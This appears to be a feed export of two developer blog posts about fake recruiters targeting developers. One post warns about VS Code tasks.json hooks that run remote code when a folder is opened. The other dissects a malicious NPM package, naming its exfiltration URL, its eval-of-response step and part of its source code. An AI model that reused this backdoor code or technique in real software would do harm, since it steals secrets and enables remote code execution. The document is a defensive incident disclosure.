&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Flinkedin-message-9.jpg" class="article-body-image-wrapper"&gt;&lt;img alt="Figure 14: Second LinkedIn message from an unrelated account" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Flinkedin-message-9.jpg" width="800" height="450"&gt;&lt;/a&gt;&lt;br&gt;Figure 14:  LinkedIn message from an unrelated account.
  &lt;/p&gt;

&lt;p&gt;Notice the links to job posts are not the same. Both jobs were posted 3-4 months prior. This means the job posts may have been legit and the attacker simply used expired job posts for a ping message.&lt;/p&gt;

&lt;p&gt;Before cloning the repository, I inspected its contents and found a &lt;code&gt;.vscode/tasks.json&lt;/code&gt; file configured to execute a remote script automatically on project load. This meant that simply opening the folder in VS Code or similar editors (Windsurf, Cursor, etc.) would have triggered remote code execution, without running the application or interacting with the code at all. Unlike the December incident, the pressure to open the project was deferred rather than immediate. The task explicitly stated that a follow-up interview would involve reviewing the code &lt;strong&gt;in VSCode&lt;/strong&gt; and explaining the submitted changes, which would certainly require opening the repository in VSCode and executing the RCE script. At the time I inspected it, the remote script itself was minimal and benign, which strongly suggests it was intended as a placeholder. The more plausible scenario is that the payload would have been swapped or activated closer to the interview stage, once the target had demonstrated compliance and trust.&lt;/p&gt;

&lt;p&gt;It is also worth noting that by the time I inspected the repository, which had already been deleted and recreated at least once, &lt;strong&gt;multiple pull requests had already been submitted by other developers&lt;/strong&gt; as part of this task. This strongly suggests that the setup was convincing enough for some candidates to clone and open the project locally, likely without realizing that simply doing so could trigger remote code execution.&lt;/p&gt;

&lt;h2&gt;
  
  
  Safety Tips:
&lt;/h2&gt;

&lt;p&gt;Based on my experiences, here are some tips to help you stay safe in the wild west of the online job-hunting space. These are as much a checklist for me as they are general advice for any developer.&lt;/p&gt;

&lt;h3&gt;
  
  
  Editor and Workspace Safety
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;First and foremost, &lt;strong&gt;ALWAYS&lt;/strong&gt; check if the project contains a &lt;code&gt;.vscode/tasks.json&lt;/code&gt; file.

&lt;ul&gt;
&lt;li&gt;If it does, check whether it contains any scripts that may run on-open.&lt;/li&gt;
&lt;li&gt;If unsure, it is best to not open the project in VSCode or any similar modern editors on your local machine.&lt;/li&gt;
&lt;li&gt;Also inspect:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.vscode/settings.json&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.vscode/extensions.json&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Any workspace file (&lt;code&gt;*.code-workspace&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;NEVER&lt;/strong&gt; open an unfamiliar repository directly in VSCode as your first step.

&lt;ul&gt;
&lt;li&gt;Inspect it first using your browser or by downloading it as a zip and reviewing files manually.&lt;/li&gt;
&lt;li&gt;If you must open a project locally, always choose "&lt;strong&gt;restricted mode&lt;/strong&gt;" and never trust the workspace until you have audited it.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  Execution and Environment Isolation
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;GitHub Codespaces is an excellent way to run or inspect untrusted projects in an isolated environment, without exposing your local machine.

&lt;ul&gt;
&lt;li&gt;With ~33 hours of runtime, the free version is more than sufficient for job-hunting needs.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Run projects locally using containers (Docker, Podman etc) or VMs like VMWare or VirtualBox.

&lt;ul&gt;
&lt;li&gt;Do not assume containers are a perfect sandbox.&lt;/li&gt;
&lt;li&gt;Containers share the host kernel and are not equivalent to a VM.&lt;/li&gt;
&lt;li&gt;For high-risk inspections, prefer a full VM or Codespaces over Docker alone.&lt;/li&gt;
&lt;li&gt;If you are paranoid about security, you can also consider using Qubes OS as your primary OS.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  Browser and Network Hygiene
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;When inspecting suspicious projects, consider blocking outbound network access entirely.

&lt;ul&gt;
&lt;li&gt;For example, disable networking in a VM or container unless explicitly required.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;When running or opening any project in your browser, use incognito mode and disable extensions.&lt;/li&gt;

&lt;li&gt;Be cautious with browser-based blockchain tooling.

&lt;ul&gt;
&lt;li&gt;Never connect wallets or sign transactions when inspecting unfamiliar projects.&lt;/li&gt;
&lt;li&gt;Use a separate browser profile or a throwaway wallet if interaction is unavoidable.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  Recruitment and Social Engineering Red Flags
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Be suspicious of recruiters who:

&lt;ul&gt;
&lt;li&gt;Push you to open or review code before a formal interview&lt;/li&gt;
&lt;li&gt;Reuse old or expired job posts&lt;/li&gt;
&lt;li&gt;Contact you from multiple, loosely related accounts&lt;/li&gt;
&lt;li&gt;Avoid discussing company details beyond vague summaries&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Treat unsolicited follow-ups that align suspiciously with task deadlines as a red flag.

&lt;ul&gt;
&lt;li&gt;These are often used as activity or responsiveness checks rather than genuine interest.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;This project was not just poorly written; it was a deliberately crafted weapon. The combination of a remote code execution backdoor, a covert payload delivery system using an unverified smart contract, and multiple other critical vulnerabilities confirms this was an attempt to compromise my system. This incident is a stark reminder: &lt;strong&gt;never trust and run code from an unknown source without a thorough security audit.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;What's really clever about this is that putting me on the spot during the call by asking me to clone the repository without giving me a chance to look through the code for any potential malicious intent. If I had not previously been attacked, as I mentioned in my &lt;a href="//../2025-07-25-targeted-dev-attack/"&gt;previous article&lt;/a&gt;, I might have done it without realizing that this was an active attempt at hacking my computer and potentially doing a lot of harm not only to me but also to any of my current or future employers. The attackers are not only becoming clever at their tactics, but also becoming bolder to the point of even showing their face to make everything sound as legit as possible.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;If you’ve encountered similar incidents, or want to collaborate on raising awareness, feel free to reach out.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Related Discussions
&lt;/h2&gt;

&lt;p&gt;This article is also shared on the following platforms, where you can comment, like, or reshare:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.linkedin.com/feed/update/urn:li:activity:7419508748513316864/" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/alien45/brave-new-world-of-scammers-targeting-developers-313p"&gt;dev.to&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://x.com/toufiq1618/status/2014430425276428397" rel="noopener noreferrer"&gt;X (Twitter)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  About the Author
&lt;/h2&gt;

&lt;p&gt;Toufiqur Rahaman Chowdhury is a full-stack software developer with over 8 years of experience building scalable web applications. He’s worked across frontend, backend, and blockchain systems.&lt;/p&gt;

&lt;p&gt;🔗 &lt;a href="https://alien45.github.io/journal/" rel="noopener noreferrer"&gt;← Back to Journal Home&lt;/a&gt;&lt;br&gt;
• &lt;a href="https://alien45.github.io/cv" rel="noopener noreferrer"&gt;CV&lt;/a&gt;&lt;br&gt;
• &lt;a href="https://www.linkedin.com/in/toufiq/" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;&lt;br&gt;
• &lt;a href="https://github.com/alien45" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;&lt;br&gt;
• &lt;a href="https://alien45.github.io/cv/Toufiqur_Chowdhury_CV.pdf" rel="noopener noreferrer"&gt;Contact / Hire Me&lt;/a&gt;&lt;/p&gt;



</description>
      <category>rce</category>
      <category>smartcontract</category>
      <category>cybersecurity</category>
      <category>jobscams</category>
    </item>
    <item>
      <title>I Was Targeted by a Fake Employer Running a Real NPM Supply Chain Attack</title>
      <dc:creator>Toufiqur R. Chowdhury</dc:creator>
      <pubDate>Thu, 22 Jan 2026 18:41:06 +0000</pubDate>
      <link>https://forem.com/alien45/i-was-targeted-by-a-fake-employer-running-a-real-npm-supply-chain-attack-54i5</link>
      <guid>https://forem.com/alien45/i-was-targeted-by-a-fake-employer-running-a-real-npm-supply-chain-attack-54i5</guid>
      <description>&lt;p&gt;Job hunting is stressful enough without having to dodge sophisticated cyberattacks. I recently encountered a fake employer on LinkedIn who wasn't just phishing for data, they were distributing malware via a custom NPM supply chain attack. This article documents the entire experience, from the initial contact to dissecting the malicious code, to help other developers recognize and avoid similar traps.&lt;/p&gt;

&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
Timeline of Events

&lt;ul&gt;
&lt;li&gt;
June 25, 2025: Joined a Slack group invited by an "employer"&lt;/li&gt;
&lt;li&gt;
June 26, 2025: First contact&lt;/li&gt;
&lt;li&gt;
June 27, 2025: Noticed Bitbucket repo recreated&lt;/li&gt;
&lt;li&gt;
July 3, 2025: Attacker re-published malicious NPM package as &lt;code&gt;async-queuelite&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
July 4, 2025: Attacker re-published malicious NPM package as &lt;code&gt;restpilot&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
July 10-24, 2025: The attacker pivoted and changed tactic&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

Dissecting &lt;code&gt;async-queuelite&lt;/code&gt;: A Real Backdoor

&lt;ul&gt;
&lt;li&gt;Breakdown: How the Backdoor Works&lt;/li&gt;
&lt;li&gt;The Stealth Backdoor&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Social Engineering: The Fake LinkedIn Profile&lt;/li&gt;

&lt;li&gt;Could the Slack Group Have Been Connected?&lt;/li&gt;

&lt;li&gt;Why This Was Clearly Targeted&lt;/li&gt;

&lt;li&gt;What I Did Right&lt;/li&gt;

&lt;li&gt;What Could Have Gone Wrong&lt;/li&gt;

&lt;li&gt;Indicators of Compromise (IOC)&lt;/li&gt;

&lt;li&gt;Lessons for Developers&lt;/li&gt;

&lt;li&gt;Final Thoughts&lt;/li&gt;

&lt;li&gt;Related Discussions&lt;/li&gt;

&lt;li&gt;About the Author&lt;/li&gt;

&lt;/ul&gt;

&lt;h2&gt;
  
  
  Timeline of Events
&lt;/h2&gt;

&lt;h3&gt;
  
  
  June 25, 2025
&lt;/h3&gt;

&lt;p&gt;Earlier in the week, I applied to a few developer roles online. I received an email from one of the employers who directed me to a Slack group that appeared to have been created on June 19, 2025, based on the creation date of its only two channels. The person claimed they had created this group to build a community to post jobs and connect developers with opportunities. I joined and noticed a lot of other candidates also joined the group (so far 300+ at the time of writing this). I introduced myself and had a brief conversation with other candidates, during which I casually mentioned a previous LinkedIn-based social engineering attempt that I had encountered.&lt;/p&gt;

&lt;h3&gt;
  
  
  June 26, 2025
&lt;/h3&gt;

&lt;p&gt;A LinkedIn user named Michael McCarthy, a CEO and Angel Investor from Canada, claiming to be an employer messaged me with an opportunity for a full-stack developer role.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2025-07-25-targeted-dev-attack%2Fassets%2Flinkedin-message-email-notification.png" class="article-body-image-wrapper"&gt;&lt;img alt="Figure 1: Linkedin email notifying new message received from the fake employer, Michael McCarthy" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2025-07-25-targeted-dev-attack%2Fassets%2Flinkedin-message-email-notification.png" width="607" height="634"&gt;&lt;/a&gt;&lt;br&gt;Figure 1: Linkedin email notifying new message received from the fake employer, Michael McCarthy
  &lt;/p&gt;

&lt;p&gt;The role was well-aligned with my experience and most recent roles.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2025-07-25-targeted-dev-attack%2Fassets%2Flinkedin-chat-1.png" class="article-body-image-wrapper"&gt;&lt;img alt="Figure 2:  First LinkedIn message received from the fake employer" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2025-07-25-targeted-dev-attack%2Fassets%2Flinkedin-chat-1.png" width="476" height="283"&gt;&lt;/a&gt;&lt;br&gt;Figure 2: First LinkedIn message received from the fake employer
  &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2025-07-25-targeted-dev-attack%2Fassets%2Flinkedin-chat-2.png" class="article-body-image-wrapper"&gt;&lt;img alt="Figure 3: fake employer explaining the job" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2025-07-25-targeted-dev-attack%2Fassets%2Flinkedin-chat-2.png" width="448" height="426"&gt;&lt;/a&gt;&lt;br&gt;Figure 3: fake employer explaining the job
  &lt;/p&gt;

&lt;p&gt;They shared a link to a GitHub repo URL and asked me to complete a quick &lt;a href="//assets/Test_Requirement.docx"&gt;coding test&lt;/a&gt;. The repo URL took me to a 404 (not found) page.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2025-07-25-targeted-dev-attack%2Fassets%2Flinkedin-chat-3.png" class="article-body-image-wrapper"&gt;&lt;img alt="Figure 4: discussing the meeting with HR" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2025-07-25-targeted-dev-attack%2Fassets%2Flinkedin-chat-3.png" width="457" height="225"&gt;&lt;/a&gt;&lt;br&gt;Figure 4: discussing the "meeting with HR"
  &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2025-07-25-targeted-dev-attack%2Fassets%2Flinkedin-chat-4.png" class="article-body-image-wrapper"&gt;&lt;img alt="Figure 5: calendly.com invite to schedule an interview and Google Docs link with the take home test description" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2025-07-25-targeted-dev-attack%2Fassets%2Flinkedin-chat-4.png" width="452" height="319"&gt;&lt;/a&gt;&lt;br&gt;Figure 5: calendly.com invite to schedule an interview and Google Docs link with the take home test description
  &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2025-07-25-targeted-dev-attack%2Fassets%2Fcalendly.png" class="article-body-image-wrapper"&gt;&lt;img alt="Figure 6: Scheduling an interview at calendly.com" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2025-07-25-targeted-dev-attack%2Fassets%2Fcalendly.png" width="800" height="532"&gt;&lt;/a&gt;&lt;br&gt;Figure 6: Scheduling an interview at calendly.com
  &lt;/p&gt;

&lt;p&gt;I initially presumed the GitHub project may have been private and required an invite for me to access it. When I asked, they provided a Bitbucket repository instead. Now I realize the account might have been deleted/suspended due to reporting by others or the malware being detected by GitHub.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2025-07-25-targeted-dev-attack%2Fassets%2Flinkedin-chat-5.png" class="article-body-image-wrapper"&gt;&lt;img alt="Figure 7: After mentioning the dead GitHub repo URL fake employer provided a BitBucket repo URL" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2025-07-25-targeted-dev-attack%2Fassets%2Flinkedin-chat-5.png" width="434" height="459"&gt;&lt;/a&gt;&lt;br&gt;Figure 7: After mentioning the dead GitHub repo URL fake employer provided a BitBucket repo URL
  &lt;/p&gt;

&lt;p&gt;A few hours later, after cloning the Bitbucket repo, I attempted to install all the dependencies by running &lt;code&gt;npm install&lt;/code&gt;, but the installation consistently got stuck during the initial loading stage (with a loading spinner). I presumed something might have been wrong with either my ISP’s DNS server and/or the connection with NPM servers.&lt;/p&gt;

&lt;p&gt;Then I tried using &lt;code&gt;yarn&lt;/code&gt; and I encountered a broken dependency: &lt;code&gt;json-webhooks@1.5.9&lt;/code&gt;. I discovered that the package had been removed and replaced with &lt;code&gt;0.0.1-security&lt;/code&gt;, a standard NPM response to confirmed malicious packages that had been taken down.&lt;/p&gt;

&lt;p&gt;I never ran the code so I was safe. However, I had the plan to use a Docker container anyway to run it as a precautionary measure.&lt;/p&gt;

&lt;h3&gt;
  
  
  June 27, 2025
&lt;/h3&gt;

&lt;p&gt;The Bitbucket repository was suddenly deleted, and then &lt;em&gt;recreated with the exact same name and structure&lt;/em&gt;, but this time using a new malicious package: &lt;code&gt;reqweaver&lt;/code&gt;. I reported this to NPM, and within hours, the package was removed — nearly &lt;strong&gt;92 hours after reporting&lt;/strong&gt; — and it was downloaded 51 times by other developers. However, I regretted not downloading the source code for investigation out of curiosity.&lt;/p&gt;

&lt;h3&gt;
  
  
  July 3, 2025
&lt;/h3&gt;

&lt;p&gt;The attacker repeated the tactic a third time, now using a new package named &lt;code&gt;async-queuelite&lt;/code&gt;. This time, I downloaded the package for inspection. With the help of ChatGPT, I discovered a backdoor in the code which confirmed that this was a Supply Chain Attack. Details of the malicious code dissection are in the next section. I reported the &lt;code&gt;async-queuelite&lt;/code&gt; package as well to NPM Support and it was taken down within 13 hours with zero downloads.&lt;/p&gt;

&lt;p&gt;After confirmation of the malicious code, I tried to read the conversation I had on LinkedIn with the fake employer. The conversation disappeared and the user also disappeared. I assumed they either deleted their profile or blocked me. While reviewing the first LinkedIn email notification from Michael McCarthy, I realized the LinkedIn messages from the attacker weren’t actually deleted, just hidden from the UI. Using the message link in my email, I was able to regain access to the conversation.&lt;/p&gt;

&lt;h3&gt;
  
  
  July 4, 2025
&lt;/h3&gt;

&lt;p&gt;The attacker repeated the exact same tactic for the fourth time: by recreating the BitBucket repo and publishing a new NPM package named &lt;code&gt;restpilot&lt;/code&gt;. I have downloaded the source code and found the exact same backdoor code. Once again, I reported it to NPM Support.&lt;/p&gt;

&lt;h3&gt;
  
  
  July 10-24, 2025
&lt;/h3&gt;

&lt;p&gt;After repeated takedowns of their malicious NPM packages, the attacker pivoted: they began embedding the backdoor code directly into the test project itself, removing the dependency on NPM altogether. And they created a new repo called NovaX.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2025-07-25-targeted-dev-attack%2Fassets%2Fbitbucket-web3_space1.png" class="article-body-image-wrapper"&gt;&lt;img alt="Figure 8: Malicious repositories created by the attacker" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2025-07-25-targeted-dev-attack%2Fassets%2Fbitbucket-web3_space1.png" width="784" height="535"&gt;&lt;/a&gt;&lt;br&gt;Figure 8: Malicious repositories created by the attacker
  &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2025-07-25-targeted-dev-attack%2Fassets%2Fbitbucket-web3_space2.png" class="article-body-image-wrapper"&gt;&lt;img alt="Figure 9: The two user IDs used to create the initial commit and update all the malicious repositories" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2025-07-25-targeted-dev-attack%2Fassets%2Fbitbucket-web3_space2.png" width="800" height="396"&gt;&lt;/a&gt;&lt;br&gt;Figure 9: The two user IDs used to create the initial commit and update all the malicious repositories
  &lt;/p&gt;

&lt;p&gt;A few days ago, I have received an email job alert from &lt;a href="https://arc.dev" rel="noopener noreferrer"&gt;arc.dev&lt;/a&gt; a job posting by Tirios, the same name the fake employer used. This appeared legit but I was more curious so I applied to the job. I was hoping to get a response before I publish the article. So far I haven't received any response. Either the fake employer is now using &lt;a href="https://arc.dev" rel="noopener noreferrer"&gt;arc.dev&lt;/a&gt; to attract new victims or this is the real deal.&lt;/p&gt;




&lt;h2&gt;
  
  
  Dissecting &lt;code&gt;async-queuelite&lt;/code&gt;: A Real Backdoor
&lt;/h2&gt;

&lt;p&gt;In the BitBucket repo, the &lt;code&gt;async-queuelite&lt;/code&gt; package was only imported once in the &lt;code&gt;contracts/controllers/userController.js&lt;/code&gt; and invoked the function only once at startup, but in the middle of the file like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;some&lt;/span&gt; &lt;span class="nx"&gt;imports&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;jsonWebHooks&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;json-webhooks&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;many&lt;/span&gt; &lt;span class="nx"&gt;lines&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;code&lt;/span&gt;
&lt;span class="nf"&gt;jsonWebHooks&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;more&lt;/span&gt; &lt;span class="nx"&gt;code&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;async-queuelite@1.0.11&lt;/code&gt; package disguised itself as a lightweight job queue. However, it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Collected system info (&lt;code&gt;os.platform()&lt;/code&gt;, &lt;code&gt;hostname&lt;/code&gt;, MAC addresses)&lt;/li&gt;
&lt;li&gt;Dumped all &lt;code&gt;process.env&lt;/code&gt; variables (including any secrets and API keys)&lt;/li&gt;
&lt;li&gt;Sent data to &lt;code&gt;https://log-server-lovat.vercel.app/api/ipcheck/703&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Executed attacker-controlled JavaScript using:
&lt;code&gt;.then(r =&amp;gt; eval(r.data))&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here is the malicious code in the NPM package (contents of the file &lt;code&gt;lib/writer.js&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;use strict&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;os&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;os&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;pkg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;../package.json&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getMacAddress&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;interfaces&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;networkInterfaces&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;macAddresses&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;

  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;interfaceName&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;interfaces&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;networkInterface&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;interfaces&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;interfaceName&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

    &lt;span class="nx"&gt;networkInterface&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;details&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;details&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;family&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;IPv4&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;details&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;internal&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;macAddresses&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;details&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mac&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;macAddresses&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
